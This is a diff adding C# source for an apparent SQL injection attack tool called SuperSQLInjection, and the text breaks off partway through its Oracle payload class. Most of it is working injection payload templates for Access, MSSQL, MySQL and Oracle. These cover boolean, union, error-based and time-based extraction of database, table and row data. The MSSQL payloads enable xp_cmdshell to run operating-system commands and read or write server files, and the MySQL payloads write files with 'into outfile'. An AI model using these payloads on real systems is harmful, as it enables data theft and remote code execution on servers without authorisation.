a/SuperSQLInjection/model/ErrorMessage.cs b/SuperSQLInjection/model/ErrorMessage.cs new file mode 100644 index 0000000..6314570 --- /dev/null +++ b/SuperSQLInjection/model/ErrorMessage.cs @@ -0,0 +1,13 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace SuperSQLInjection.model +{ + public static class ErrorMessage + { + public static String mysql4_no_error_inject_info = "抱歉MySQL4数据库,不支持错误显示注入!"; + public static String access_no_error_inject_info = "抱歉Access数据库,不支持错误显示注入!"; + public static String access_no_key = "Access数据库需要关键字协助盲猜表明,所以大侠请你填写好关键字!"; + } +} diff --git a/SuperSQLInjection/model/GetDataPam.cs b/SuperSQLInjection/model/GetDataPam.cs new file mode 100644 index 0000000..c5f6c34 --- /dev/null +++ b/SuperSQLInjection/model/GetDataPam.cs @@ -0,0 +1,19 @@ +using System; +using System.Collections.Generic; +using System.Text; +using System.Windows.Forms; + +namespace SuperSQLInjection.model +{ + class GetDataPam + { + + public List columns = null; + public int limit = 0; + public String dbname = ""; + public String table = ""; + public Boolean isMuStr = false;//开启多字节 + public ListViewItem lvi = null; + public int data_count =0; + } +} diff --git a/SuperSQLInjection/model/InjectType.cs b/SuperSQLInjection/model/InjectType.cs new file mode 100644 index 0000000..c091311 --- /dev/null +++ b/SuperSQLInjection/model/InjectType.cs @@ -0,0 +1,16 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace SuperSQLInjection.model +{ + [Serializable] + public enum InjectType + { + UnKnow = 0, + Bool=1, + Error=2, + Union = 3, + Sleep=4 + } +} diff --git a/SuperSQLInjection/model/Injection.cs b/SuperSQLInjection/model/Injection.cs new file mode 100644 index 0000000..962250e --- /dev/null +++ b/SuperSQLInjection/model/Injection.cs @@ -0,0 +1,20 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace SuperSQLInjection.model +{ + public class Injection + { + public String url=""; + public int index = 0; + public bool isInjection =false; + public String injectType = ""; + public String payload=""; + public String paramName = ""; + public String dbType = ""; + public String remark = ""; + public String testUrl = ""; + + } +} diff --git a/SuperSQLInjection/model/KeyType.cs b/SuperSQLInjection/model/KeyType.cs new file mode 100644 index 0000000..7484139 --- /dev/null +++ b/SuperSQLInjection/model/KeyType.cs @@ -0,0 +1,15 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace SuperSQLInjection.model +{ + [Serializable] + public enum KeyType + { + Key=0, + Code=1, + Length=2, + Time = 3 + } +} diff --git a/SuperSQLInjection/model/SelectNode.cs b/SuperSQLInjection/model/SelectNode.cs new file mode 100644 index 0000000..7dbf0c7 --- /dev/null +++ b/SuperSQLInjection/model/SelectNode.cs @@ -0,0 +1,16 @@ +using System; +using System.Collections.Generic; +using System.Text; +using System.Windows.Forms; + +namespace SuperSQLInjection.model +{ + public class SelectNode + { + public TreeNode tn = new TreeNode(); + public int limit = 0; + public String dbname = ""; + public String tableName = ""; + public String columnName = ""; + } +} diff --git a/SuperSQLInjection/model/SerializableDictionary.cs b/SuperSQLInjection/model/SerializableDictionary.cs new file mode 100644 index 0000000..062ad94 --- /dev/null +++ b/SuperSQLInjection/model/SerializableDictionary.cs @@ -0,0 +1,62 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Xml; +using System.Xml.Schema; +using System.Xml.Serialization; + +namespace SuperSQLInjection.model +{ + + [Serializable] + public class SerializableDictionary : Dictionary, IXmlSerializable + { + public SerializableDictionary() { } + public void WriteXml(XmlWriter write) // Serializer + { + XmlSerializer KeySerializer = new XmlSerializer(typeof(TKey)); + XmlSerializer ValueSerializer = new XmlSerializer(typeof(TValue)); + + foreach (KeyValuePair kv in this) + { + write.WriteStartElement("SerializableDictionary"); + write.WriteStartElement("key"); + KeySerializer.Serialize(write, kv.Key); + write.WriteEndElement(); + write.WriteStartElement("value"); + ValueSerializer.Serialize(write, kv.Value); + write.WriteEndElement(); + write.WriteEndElement(); + } + } + public void ReadXml(XmlReader reader) // Deserializer + { + reader.Read(); + XmlSerializer KeySerializer = new XmlSerializer(typeof(TKey)); + XmlSerializer ValueSerializer = new XmlSerializer(typeof(TValue)); + + while (reader.NodeType != XmlNodeType.EndElement) + { + + reader.ReadStartElement("SerializableDictionary"); + reader.ReadStartElement("key"); + TKey tk = (TKey)KeySerializer.Deserialize(reader); + reader.ReadEndElement(); + reader.ReadStartElement("value"); + TValue vl = (TValue)ValueSerializer.Deserialize(reader); + reader.ReadEndElement(); + reader.ReadEndElement(); + this.Add(tk, vl); + reader.MoveToContent(); + } + reader.ReadEndElement(); + + } + public XmlSchema GetSchema() + { + return null; + } + } + } + diff --git a/SuperSQLInjection/model/ServerInfo.cs b/SuperSQLInjection/model/ServerInfo.cs new file mode 100644 index 0000000..f87caaa --- /dev/null +++ b/SuperSQLInjection/model/ServerInfo.cs @@ -0,0 +1,30 @@ +using System; +using System.Collections.Generic; +using System.Net; +using System.Text; + +namespace model +{ + public class ServerInfo + { + public String host = "";//host主机头 + public String url = "";//pathAndQuery + public int port = 80; + public String request = ""; + public String encoding = ""; + public String header = ""; + public String body = ""; + public String reuqestBody = ""; + public String reuqestHeader = ""; + public Dictionary headers = new Dictionary(); + public String response = ""; + public String gzip = ""; + public int length = 0; + public int code = 0; + public int location = 0; + public int runTime = 0;//获取网页消耗时间,毫秒 + public int sleepTime = 0;//休息时间 + public String cookies = ""; + public Boolean timeout = false; + } +} diff --git a/SuperSQLInjection/model/URL.cs b/SuperSQLInjection/model/URL.cs new file mode 100644 index 0000000..e60183d --- /dev/null +++ b/SuperSQLInjection/model/URL.cs @@ -0,0 +1,18 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace SuperSQLInjection.model +{ + class URL + { + public String url; + public int level; + public URL(String url, int level) { + + this.url = url; + this.level = level; + + } + } +} diff --git a/SuperSQLInjection/payload/Access.cs b/SuperSQLInjection/payload/Access.cs new file mode 100644 index 0000000..cbbcde7 --- /dev/null +++ b/SuperSQLInjection/payload/Access.cs @@ -0,0 +1,79 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace SuperSQLInjection.payload +{ + class Access + { + //获取数据条数 + public static String data_count = "(select count(*) from {table})"; + + //判断条数 + public static String bool_datas_count = " and " + data_count + ">={len}"; + + public static String substr = "mid(({data}),{index},1)"; + + //bool方式字符长度判断 + public static String bool_length = " and len({data})>{len}"; + + public static String bool_value = " and {data}>{len}"; + + //获取行数据 + public static String data_value = "(select top 1 {data} from (select top {index} {allcolumns} from {table} order by {orderby} asc) t order by t.{orderby} desc)"; + + //union获取值 + public static String union_value = " and 1=2 union all select {data} from {table}"; + + //多字符 + public static String unicode_value = "ascw(mid({data},{index},1))"; + + + public static String getUnionDataValue(int columnsLen, int showIndex, List columns, String table, String index) + { + StringBuilder sb = new StringBuilder(); + String data = "chr(94)&chr(94)&chr(33)&" + Comm.unionColumns(columns, "&chr(36)&chr(36)&chr(36)&") + "&chr(33)&chr(94)&chr(94)"; + for (int i = 1; i <= columnsLen; i++) + { + if (i == showIndex) + { + sb.Append(data_value.Replace("{data}", data).Replace("{allcolumns}", Comm.unionColumns(columns, ",")).Replace("{table}", table).Replace("{index}", index).Replace("{orderby}", columns[0])); + sb.Append(","); + } + else + { + sb.Append("1,"); + } + } + sb.Remove(sb.Length - 1, 1); + return union_value.Replace("{data}", sb.ToString()); + } + + + public static String getUnionDataValue(int columnsLen, int showIndex, int Fill, String dataPayLoad) + { + StringBuilder sb = new StringBuilder(); + for (int i = 1; i <= columnsLen; i++) + { + if (i == showIndex) + { + sb.Append("(chr(94)&chr(94)&chr(33)&" + dataPayLoad + "&chr(33)&chr(94)&chr(94)),"); + } + else + { + sb.Append(Fill + ","); + } + } + sb.Remove(sb.Length - 1, 1); + return union_value.Replace("{data}", sb.ToString()); + } + public static String getBoolDataPayLoad(String column,List columns,String dbName, String table, int index) + { + String data = data_value.Replace("{data}",column).Replace("{allcolumns}",Comm.unionColumns(columns,",")).Replace("{orderby}",columns[0]); + String payload = data.Replace("{dbname}", dbName).Replace("{table}", table).Replace("{data}", column).Replace("{index}", index.ToString()); + return payload; + } + + + } +} diff --git a/SuperSQLInjection/payload/Comm.cs b/SuperSQLInjection/payload/Comm.cs new file mode 100644 index 0000000..d40b20a --- /dev/null +++ b/SuperSQLInjection/payload/Comm.cs @@ -0,0 +1,69 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace SuperSQLInjection.payload +{ + class Comm + { + public static String exists_table = " and exists(select 1 from {0})"; + public static String exists_column = " and exists(select {0} from {1})"; + public static String truePayload = " and 1=1"; + public static String falsePayload = " and 1=2"; + + public static String unionColumns(List columns, String unionStr) + { + StringBuilder sb = new StringBuilder(); + foreach (String column in columns) + { + + sb.Append(column + unionStr); + } + sb.Remove(sb.Length - unionStr.Length, unionStr.Length); + return sb.ToString(); + } + + + public static String unionColumnCountTest(int maxColumn,int fill) + { + StringBuilder sb = new StringBuilder(" and 1=2 union all select "); + for (int i = 1; i <= maxColumn;i++ ) + { + sb.Append(fill+"+"+i+","); + } + sb.Remove(sb.Length - 1, 1); + return sb.ToString(); + } + + public static String unionColumnCountTestByOracle(int maxColumn, String fill) + { + StringBuilder sb = new StringBuilder(" and 1=2 union all select "); + for (int i = 1; i <= maxColumn; i++) + { + sb.Append(fill + ","); + } + sb.Remove(sb.Length - 1, 1); + return sb.ToString()+" from dual"; + } + + public static String unionColumnCountTestByOracle(int maxColumn,int testIndex,String fill) + { + StringBuilder sb = new StringBuilder(" and 1=2 union all select "); + for (int i = 1; i <= maxColumn; i++) + { + if (i == testIndex) + { + sb.Append(fill + ","); + } + else + { + sb.Append("null" + ","); + } + } + sb.Remove(sb.Length - 1, 1); + return sb.ToString() + " from dual"; + } + + + } +} diff --git a/SuperSQLInjection/payload/MSSQL.cs b/SuperSQLInjection/payload/MSSQL.cs new file mode 100644 index 0000000..df17f48 --- /dev/null +++ b/SuperSQLInjection/payload/MSSQL.cs @@ -0,0 +1,271 @@ +using System; +using System.Collections.Generic; +using System.Text; +using tools; + +namespace SuperSQLInjection.payload +{ + class MSSQL + { + //加载对应配置(需要读取的环境变量) + public static String path = "config/sqlserver/ver.txt"; + public static List vers = FileTool.readFileToList(path); + + + //数据库数量 + public static String dbs_count = "(select count(*) from [master]..[sysdatabases])"; + //表数量 + public static String tables_count = "(select count(*) from [{dbname}]..[sysobjects] where xtype=0x55)"; + //列数量 + public static String columns_count = "(select count(*) from [{dbname}]..[syscolumns] where id=object_id('{dbname}..{table}'))"; + //获取数据条数 + public static String data_count = "(select count(*) from [{dbname}]..[{table}])"; + + + //获取数据库名 + public static String db_value = "(select top 1 name from (select top {index} name from [master]..[sysdatabases] order by name) t order by t.name desc)"; + //获取表名称 + public static String table_value = "(select top 1 name from [{dbname}]..[sysobjects] where xtype=0x55 and id not in (select top {index} id from [{dbname}]..[sysobjects] where xtype=0x55))"; + //获取列名称 + public static String column_value = "(select top 1 name from [{dbname}]..[syscolumns] where id=object_id('{dbname}..{table}') and colid not in (select top {index} colid from [{dbname}]..[syscolumns] where id=object_id('{dbname}..{table}')))"; + + + //获取数据库数量bool方式 + public static String bool_db_count = " and " + dbs_count + ">{len}"; + //获取表数量bool + public static String bool_tables_count = " and " + tables_count + ">{len}"; + //获取列数量bool + public static String bool_columns_count = " and " + columns_count + ">{len}"; + + public static String bool_datas_count = " and " + data_count + ">={len}"; + + //多字符 + public static String unicode_value = "cast(unicode(substring({data},{index},1)) as varchar(100))"; + + public static String substr = "substring(({data}),{index},1)"; + public static String substr_value = "substring(({data}),{index},{len})"; + + //bool方式字符长度判断 + public static String bool_length = " and len({data})>{len}"; + public static String bool_dataLength = " and datalength({data})>{len}"; + public static String bool_value = " and {data}>{len}"; + + //bool方式获取值 + + //每个unicode值范围0-9 + public static String bool_unicode_value = " and (substring({data},{index},1))>{len}"; + + //获取行数据 + public static String data_value = "(select top 1 {data} from (select top {index} {allcolumns} from [{dbname}]..[{table}] order by {orderby}) t order by {orderby} desc)"; + + //union获取值 + public static String union_value = " and 1=2 union all select {data}"; + + //error方式 + public static String error_value = " or convert(int,(char(94)+char(94)+char(33)+cast({data} as varchar(2000))+char(33)+char(94)+char(94)))=1"; + + + //cmd + public static String createTable = ";drop table ssqlinjection;create table ssqlinjection(id int primary key identity,data text);exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure;declare @cmd varchar(8000);set @cmd={cmd};insert into ssqlinjection(data) exec [master]..[xp_cmdshell] @cmd--"; + public static String cmdData = "cast((select top 1 data from ssqlinjection where id={index}) as varchar(8000))"; + public static String cmdDataCount = "(select count(*) from ssqlinjection)"; + public static String dropTable = ";drop table ssqlinjection;--"; + + + //文件读写 + public static String witeFileByFileSystemObject = ";exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'ole automation procedures',1;reconfigure;declare @object int;declare @file int;declare @data varchar(8000);set @data={data};declare @path varchar(4000);set @path={path};exec [master]..[sp_oacreate] 'scripting.fileSystemObject',@object out;exec [master]..[sp_oamethod] @object,'createtextfile',@file output,@path;exec [master]..[sp_oamethod] @file,'write',null,@data;exec [master]..[sp_oamethod] @file,'close',null;--"; + public static String witeFileBySP_MakeWebTask = ";exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'web assistant procedures',1;reconfigure;declare @d varchar(8000);set @d={data};declare @p varchar(4000);set @p={path};exec sp_makewebtask @p, @d;--"; + public static String witeFileByBackDataBase = ";drop database ssqlinjection;create database ssqlinjection;drop table [ssqlinjection]..[data];create table [ssqlinjection]..[data] (content image);insert into [ssqlinjection]..[data](content) values({data});declare @s varchar(8000);set @s={path} backup database ssqlinjection to disk=@s;--"; + public static String readFileByFileSystemobject = ";exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'ole automation procedures',1;reconfigure;declare @object int;declare @file int;declare @data varchar(8000);exec [master]..[sp_oacreate] 'scripting.filesystemobject',@object out;exec [master]..[sp_oamethod] @object,'OpenTextFile',@file output,'{path}';drop table ssqlinjection;create table ssqlinjection (data varchar(8000));exec [master]..[sp_oamethod] @file,'read',@data out,8000;insert into ssqlinjection(data) values(@data);--"; + + //读文件的的payload + public static String file_content = "(select data from ssqlinjection)"; + + + + /// + /// 获取union的payload + /// + /// 列长 + /// 显示列 + /// 填充 + /// 数据库名 + /// 表名 + /// 获取数据的字段 + /// 第几行数据,1开始 + public static String getUnionDataValue(int columnsLen,int showIndex,int Fill,String dbname,String table,List columns,int index) + { + StringBuilder sb = new StringBuilder(); + String data = data_value.Replace("{data}", concatAllColumnsByConcatStr(columns)).Replace("{allcolumns}", concatAllColumns(columns)).Replace("{orderby}", columns[0]); + for (int i = 1; i <= columnsLen; i++) + { + + if (i == showIndex) + { + String d = data.Replace("{dbname}", dbname).Replace("{table}", table).Replace("{data}", concatAllColumnsByConcatStr(columns)).Replace("{index}", index.ToString()); + sb.Append("(char(94)+char(94)+char(33)+cast(" + d + " as varchar(8000))+char(33)+char(94)+char(94)),"); + } + else + { + + sb.Append(Fill + ","); + } + } + sb.Remove(sb.Length - 1, 1); + return union_value.Replace("{data}", sb.ToString()); + } + + /// + /// + /// 列长 + /// 显示列 + /// 填充 + /// 值payload + /// + public static String getUnionDataValue(int columnsLen, int showIndex, int Fill,String dataPayLoad) + { + StringBuilder sb = new StringBuilder(); + for (int i = 1; i <= columnsLen; i++) + { + if (i == showIndex) + { + sb.Append("(char(94)+char(94)+char(33)+" + "cast(" + dataPayLoad + " as varchar(8000))+char(33)+char(94)+char(94)),"); + } + else + { + sb.Append(Fill + ","); + } + } + sb.Remove(sb.Length - 1, 1); + return union_value.Replace("{data}", sb.ToString()); + } + + public static String getUnionDataValueByCMD(int columnsLen, int showIndex, String dataPayLoad) + { + StringBuilder sb = new StringBuilder(); + for (int i = 1; i <= columnsLen; i++) + { + if (i == showIndex) + { + sb.Append("(char(94)+char(94)+char(33)+cast(" + (dataPayLoad) + " as varchar(8000))+char(33)+char(94)+char(94)),"); + } + else + { + sb.Append("1,"); + } + } + sb.Remove(sb.Length - 1, 1); + return union_value.Replace("{data}", sb.ToString()); + } + + /// + /// 获取数据,error + /// + /// 列长 + /// 显示列 + /// 填充 + /// + /// 数据库名 + /// 表名 + /// 第几行数据,1开始 + /// + public static String getUnionDataValue(int columnsLen, int showIndex, int Fill, String dataPayLoad,String dbname,String table,String index) + { + StringBuilder sb = new StringBuilder(); + for (int i = 1; i <= columnsLen; i++) + { + if (i == showIndex) + { + sb.Append("(char(94)+char(94)+char(33)+" + (("cast(" + dataPayLoad + " as varchar(5000))").Replace("{dbname}", dbname).Replace("{table}", table).Replace("{index}", index)) + "+char(33)+char(94)+char(94)),"); + } + else + { + sb.Append(Fill + ","); + } + } + sb.Remove(sb.Length - 1, 1); + return union_value.Replace("{data}", sb.ToString()); + } + + + /// + /// 调用前需调用setDataValue方法 + /// + /// 列长 + /// 显示列 + /// 填充 + /// 数据库名 + /// 表名 + /// 获取数据的字段 + /// 第几行数据,1开始 + public static String getErrorDataValue(String dbname, String table,int index,List columns) + { + String data = data_value.Replace("{data}", concatAllColumnsByConcatStr(columns)).Replace("{allcolumns}", concatAllColumns(columns)).Replace("{orderby}", columns[0]); + String d = data.Replace("{dbname}", dbname).Replace("{table}", table).Replace("{column}", concatAllColumnsByConcatStr(columns)).Replace("{index}", index.ToString()); + return error_value.Replace("{data}", d); + } + + /// + /// 多字段拼接 + /// + /// + /// + public static String concatAllColumns(List columns) + { + StringBuilder sb = new StringBuilder(); + foreach (String column in columns) + { + sb.Append(column); + sb.Append(","); + } + sb.Remove(sb.Length - 1, 1); + return sb.ToString(); + } + /// + /// 多字段拼接,带连接符 + /// + /// + /// + public static String concatAllColumnsByConcatStr(List columns) + { + StringBuilder sb = new StringBuilder(); + foreach (String column in columns) + { + + sb.Append("cast(isnull(" + column + ",0x20) as varchar(5000))+char(36)+char(36)+char(36)+"); + } + sb.Remove(sb.Length - 28, 28); + return sb.ToString(); + } + + + /// + /// 值的长度 + /// + /// + /// + public static String getBoolLengthPayLoad(String dataStr,int len) + { + + bool_length.Replace("{data}",unicode_value.Replace("{data}", dataStr)).Replace("{len}",len.ToString()); + + return dataStr; + } + + /// + /// 获得bool方式值payload + /// + /// 对应值的查询SQL + /// 数据库名 + /// 表名 + /// 下标 + /// + public static String getBoolDataPayLoad(String column,List columns,String dbName,String table,int index) + { + String data = data_value.Replace("{data}", "cast(isnull("+column+",0x20) as varchar)").Replace("{allcolumns}", concatAllColumns(columns)).Replace("{orderby}", columns[0]); + String payload = data.Replace("{dbname}", dbName).Replace("{table}", table).Replace("{index}", index.ToString()); + return payload; + } + + } +} diff --git a/SuperSQLInjection/payload/MySQL5.cs b/SuperSQLInjection/payload/MySQL5.cs new file mode 100644 index 0000000..d8e63da --- /dev/null +++ b/SuperSQLInjection/payload/MySQL5.cs @@ -0,0 +1,282 @@ +using System; +using System.Collections.Generic; +using System.Text; +using tools; + +namespace SuperSQLInjection.payload +{ + class MySQL5 + { + //加载对应配置(需要读取的环境变量) + public static String path = "config/mysql5/ver.txt"; + public static List vers = FileTool.readFileToList(path); + + public static String char_length = "(select char_length({data}))"; + + //数据库数量 + public static String dbs_count = "(select count(*) from information_schema.schemata)"; + //表数量 + public static String tables_count = "(select count(*) from information_schema.tables where table_schema='{dbname}')"; + //列数量 + public static String columns_count = "(select count(*) from information_schema.columns where table_schema='{dbname}' and table_name='{table}')"; + + + //获取数据库名 + public static String db_value = "(select schema_name from information_schema.schemata limit {index},1)"; + //获取表名称 + public static String table_value = "(select table_name from information_schema.tables where table_schema='{dbname}' limit {index},1)"; + //获取列名称 + public static String column_value = "(select column_name from information_schema.columns where table_schema='{dbname}' and table_name='{table}' limit {index},1)"; + + + + public static String bool_length = "char_length({data})"; + public static String bool_value = "ascii(mid({data},{index},1))"; + + + //获取数据库数量bool方式 + public static String bool_db_count = " and " + dbs_count + ">{len}"; + + //获取表数量bool + public static String bool_tables_count = " and " + tables_count + ">{len}"; + + //获取列数量bool + public static String bool_columns_count = " and " + columns_count + ">{len}"; + + + //多字符长度判断 + public static String mu_value = "(hex(convert((mid({data},{index},1)) using UTF8)))"; + + //bool方式字符长度判断 + public static String ver_length = " and "+ bool_length + ">{len}"; + //bool方式获取值 + public static String ver_value = " and "+ bool_value + ">{len}"; + + //获取行数据bool + public static String data_value = "(select {columns} from {dbname}.{table} limit {limit},1)"; + + + + //union获取数据条数 + public static String data_count = "(select count(*) from {dbname}.{table})"; + //bool判断数据条数 + public static String bool_datas_count = " and " + data_count + ">={len}"; + + //union获取值 + public static String union_value = " and 1=2 union all select {data}"; + + //error方式 + public static String error_value = " or (select 1 from (select count(*),concat(({data}),floor(rand(0)*2))x from information_schema.tables group by x)a)"; + + public static String hex = "(select hex({data}))"; + public static String hex_value = "(select hex(convert(({data}) using UTF8)))"; + public static String substr_value = "(select substr({data},{start},{len}))"; + public static String getBoolCountBySleep(String data,int maxTime) + { + return " AND (SELECT * FROM (SELECT(SLEEP("+ maxTime + "-(IF(("+data+ ">{len}), 0, " + maxTime + ")))))"+Tools.RandStr(4)+")"; + } + + /// + /// 生成联合查询的列的字符串,如1,2,3,用于union注入 + /// + /// 列长度 + /// 显示列是第几列 + /// 其他列填充字符 + /// 填充显示列的对应列集合数据 + /// 表明 + /// 数据库名 + /// limit下标,没有填写-1 + /// + public static String creatMySQLColumnsStrByUnion(int columnsLen, int showIndex, String fill, List columns, String table, String dbName, int limit) + { + StringBuilder sb = new StringBuilder(); + for (int i = 1; i <= columnsLen; i++) + { + + if (i == showIndex) + { + sb.Append(creatMySQLColumnStr(columns) + ","); + } + else + { + + sb.Append(fill + ","); + } + } + sb.Remove(sb.Length - 1, 1).ToString(); + + if (!Tools.checkEmpty(dbName)) + { + sb.Append(" from " + dbName + "."); + if (!Tools.checkEmpty(table)) + { + sb.Append(table); + } + + } + else + { + if (!Tools.checkEmpty(table)) + { + sb.Append(" from " + table); + } + } + if (limit >= 0) + { + sb.Append(" limit " + limit + ",1"); + + } + return sb.ToString(); + } + + public static String creatMySQLReadFileByUnion(int columnsLen, int showIndex,String data) + { + StringBuilder sb = new StringBuilder(); + for (int i = 1; i <= columnsLen; i++) + { + + if (i == showIndex) + { + sb.Append(creatMySQLColumnStr(data) + ","); + } + else + { + + sb.Append("1,"); + } + } + return sb.Remove(sb.Length - 1, 1).ToString(); + } + + public static String creatMySQLWriteFileByUnion(int columnsLen, int dataIndex, String path,String content) + { + StringBuilder sb = new StringBuilder(" union select "); + for (int i = 1; i <= columnsLen; i++) + { + + if (i == dataIndex) + { + sb.Append(Tools.strToHex(content,"UTF-8")+","); + } + else + { + + sb.Append("1,"); + } + } + sb.Remove(sb.Length - 1, 1); + sb.Append(" into dumpfile '"+path+"'"); + return sb.ToString(); + } + + public static String creatMySQLWriteFileByUnionByMuSQL(String path, String content) + { + return ";select " + Tools.strToHex(content,"UTF-8") + " into outfile '" + path + "'"; + } + + public static String creatMySQLColumnsStrByError(List columns, String table, String dbName, int limit) + { + StringBuilder sb = new StringBuilder(); + sb.Append(creatMySQLColumnStr(columns)); + + if (!Tools.checkEmpty(dbName)) + { + sb.Append(" from " + dbName + "."); + if (!Tools.checkEmpty(table)) + { + sb.Append(table); + } + } + else + { + if (!Tools.checkEmpty(table)) + { + sb.Append(" from " + table); + } + } + if (limit >= 0) + { + sb.Append(" limit " + limit + ",1"); + + } + return sb.ToString(); + } + + + public static String creatMySQLColumnsStrByError(String column, String table, String dbName, int limit) + { + StringBuilder sb = new StringBuilder(); + sb.Append(creatMySQLColumnStr(column)); + + if (!Tools.checkEmpty(dbName)) + { + sb.Append(" from " + dbName + "."); + if (!Tools.checkEmpty(table)) + { + sb.Append(table); + } + } + else + { + if (!Tools.checkEmpty(table)) + { + sb.Append(" from " + table); + } + } + if (limit >= 0) + { + sb.Append(" limit " + limit + ",1"); + + } + return sb.ToString(); + } + + + + /// + /// 生成查询列数据 + /// + /// 列明 + /// + public static String creatMySQLColumnStr(List columns) + { + StringBuilder sb = new StringBuilder("concat(0x5e5e21,"); + for (int i = 0; i < columns.Count; i++) + { + if (columns.Count > 1) + { + sb.Append("ifnull(cast(" + columns[i] + " as char),0x20),0x242424,"); + } + else + { + return creatMySQLColumnStr(columns[i]); + } + + } + + if (columns.Count > 1) + { + sb.Remove(sb.Length - 9, 9); + } + sb.Append("0x215e5e)"); + return sb.ToString(); + + } + + + /// + /// 生成查询列数据 + /// + /// 列明 + /// + public static String creatMySQLColumnStr(String column) + { + StringBuilder sb = new StringBuilder("concat(0x5e5e21,"); + sb.Append(column); + sb.Append(",0x215e5e)"); + return sb.ToString(); + + } + + } +} diff --git a/SuperSQLInjection/payload/Oracle.cs b/SuperSQLInjection/payload/Oracle.cs new file mode 100644 index 0000000..a667955 --- /dev/null +++ b/SuperSQLInjection/payload/Oracle.cs @@ -0,0 +1,179 @@ +using System; +using System.Collections.Generic; +using System.Text; +using tools; + +namespace SuperSQLInjection.payload +{ + class Oracle + { + //加载对应配置(需要读取的环境变量) + public static String path = "config/oracle/ver.txt"; + public static List vers = FileTool.readFileToList(path); + + + public static String err_hex_len = "(select length(rawtohex({data})) from dual)"; + + //数据库数量 + public static String dbs_count = "(select count(distinct(owner)) from sys.all_tables)"; + //表数量 + public static String tables_count = "(select count(*) from sys.all_tables where owner='{dbname}')"; + //列数量 + public static String columns_count = "(select count(*) from sys.all_tab_columns where owner='{dbname}' and table_name='{table}')"; + + + //获取数据库名 + public static String db_value = "(select owner from (select owner,rownum as limit from (select distinct(owner) from sys.all_tables)) where limit={index})"; + //获取表名称 + public static String table_value = "(select table_name from (select table_name,rownum as limit from (select table_name from sys.all_tables where owner='{dbname}')) where limit={index})"; + //获取列名称 + public static String column_value = "(select column_name from (select column_name,rownum as limit from (select column_name from sys.all_tab_columns where owner='{dbname}' and table_name='{table}')) where limit={index})"; + + + + + + //获取数据库数量bool方式 + public static String bool_db_count = " and " + dbs_count + ">{len}"; + //获取表数量bool + public static String bool_tables_count = " and " + tables_count + ">{len}"; + //获取列数量bool + public static String bool_columns_count = " and " + columns_count + ">{len}"; + + + + public static String substr = "substr(({data})),{index},1)"; + //多字节 + public static String hex_value = "rawtohex(substr({data},{index},1))"; + + //bool方式字符长度判断 + public static String bool_length = " and length({data})>{len}"; + + //bool方式获取值 + public static String bool_value = " and ascii(substr({data},{index},1))>{len}"; + + //获取行数据 + public static String data_value = "(select {data} from (select {allcolumns},rownum as limit from (select * from {dbname}.{table})) where limit={index})"; + + + //union获取数据条数 + public static String union_data_count = "(select count(*) from {dbname}.{table})"; + public static String bool_datas_count = " and " + union_data_count + ">={len}"; + + //union获取值 + public static String union_value = " and 1=2 union all select {data} from dual"; + + //error方式 + public static String error_value = " and 1=(select upper(xmltype(chr(60)||chr(58)||chr(45)||chr(45)||chr(58)||rawtohex(cast(({data}) as varchar(256)))||chr(58)||chr(45)||chr(45)||chr(62))) from dual)"; + + public static String substr_error_value = " and 1=(select upper(xmltype(chr(60)||chr(58)||chr(45)||chr(45)||chr(58)||substr(rawtohex(cast(({data}) as varchar(256))),{start},{len})||chr(58)||chr(45)||chr(45)||chr(62))) from dual)"; + + public static String getUnionDataValue(int columnsLen, int showIndex, String dataPayLoad, String dbname, String table, String index) + { + StringBuilder sb = new StringBuilder(); + + for (int i = 1; i <= columnsLen; i++) + { + if (i == showIndex) + { + sb.Append("(chr(94)||chr(94)||chr(33)||"+dataPayLoad.Replace("{dbname}", dbname).Replace("{table}", table).Replace("{index}", index) + "||chr(33)||chr(94)||chr(94)),"); + } + else + { + sb.Append("null,"); + } + } + sb.Remove(sb.Length - 1, 1); + return union_value.Replace("{data}", sb.ToString()); + } + + public static String getUnionDataValue(int columnsLen, int showIndex, List columns, String dbname, String table, String index) + { + StringBuilder sb = new StringBuilder(); + String data = "chr(94)||chr(94)||chr(33)||" + Comm.unionColumns(columns, "||chr(36)||chr(36)||chr(36)||") + "||chr(33)||chr(94)||chr(94)"; + for (int i = 1; i <= columnsLen; i++) + { + if (i == showIndex) + { + sb.Append(data_value.Replace("{data}", data).Replace("{allcolumns}", Comm.unionColumns(columns, ",")).Replace("{dbname}", dbname).Replace("{table}", table).Replace("{index}", index)); + sb.Append(","); + } + else + { + sb.Append("null,"); + } + } + sb.Remove(sb.Length - 1, 1); + return union_value.Replace("{data}", sb.ToString()); + } + + public static String getErrorDataValue(String dataPayLoad, String dbname, String table, String index) + { + String data=dataPayLoad.Replace("{dbname}", dbname).Replace("{table}", table).Replace("{index}", index); + return error_value.Replace("{data}", data); + } + + + + public static String getErrorDataLen(List columns, String dbname, String table, String index) + { + return err_hex_len.Replace("{data}", getDataValue(columns, dbname, table, index)); + } + + public static String unionCastColumns(List columns, String unionStr) + { + StringBuilder sb = new StringBuilder(); + foreach (String column in columns) + { + + sb.Append("cast(" + column + " as varchar(4000))" +unionStr); + } + sb.Remove(sb.Length - unionStr.Length, unionStr.Length); + return sb.ToString(); + } + + /// + /// 值的长度 + /// + /// + /// + public static String getBoolLengthPayLoad(String dataStr, int len) + { + + bool_length.Replace("{data}", hex_value.Replace("{data}", dataStr)).Replace("{len}", len.ToString()); + + return dataStr; + } + + /// + /// 获得bool方式值payload + /// + /// 对应值的查询SQL + /// 数据库名 + /// 表名 + /// 下标 + /// + public static String getBoolDataPayLoad(String column,String orderby,String dbName, String table, int index) + { + String data = setDataValue(column, orderby); + String payload = data.Replace("{dbname}", dbName).Replace("{table}", table).Replace("{data}", column).Replace("{index}", index.ToString()); + return payload; + } + + private static String setDataValue(String allColumns, String orderby) + { + return data_value.Replace("{allcolumns}", allColumns); + } + + public static String getDataValue(List columns, String dbName, String table, String index) + { + StringBuilder sb = new StringBuilder(); + String data = Comm.unionColumns(columns, "||chr(36)||chr(36)||chr(36)||"); + 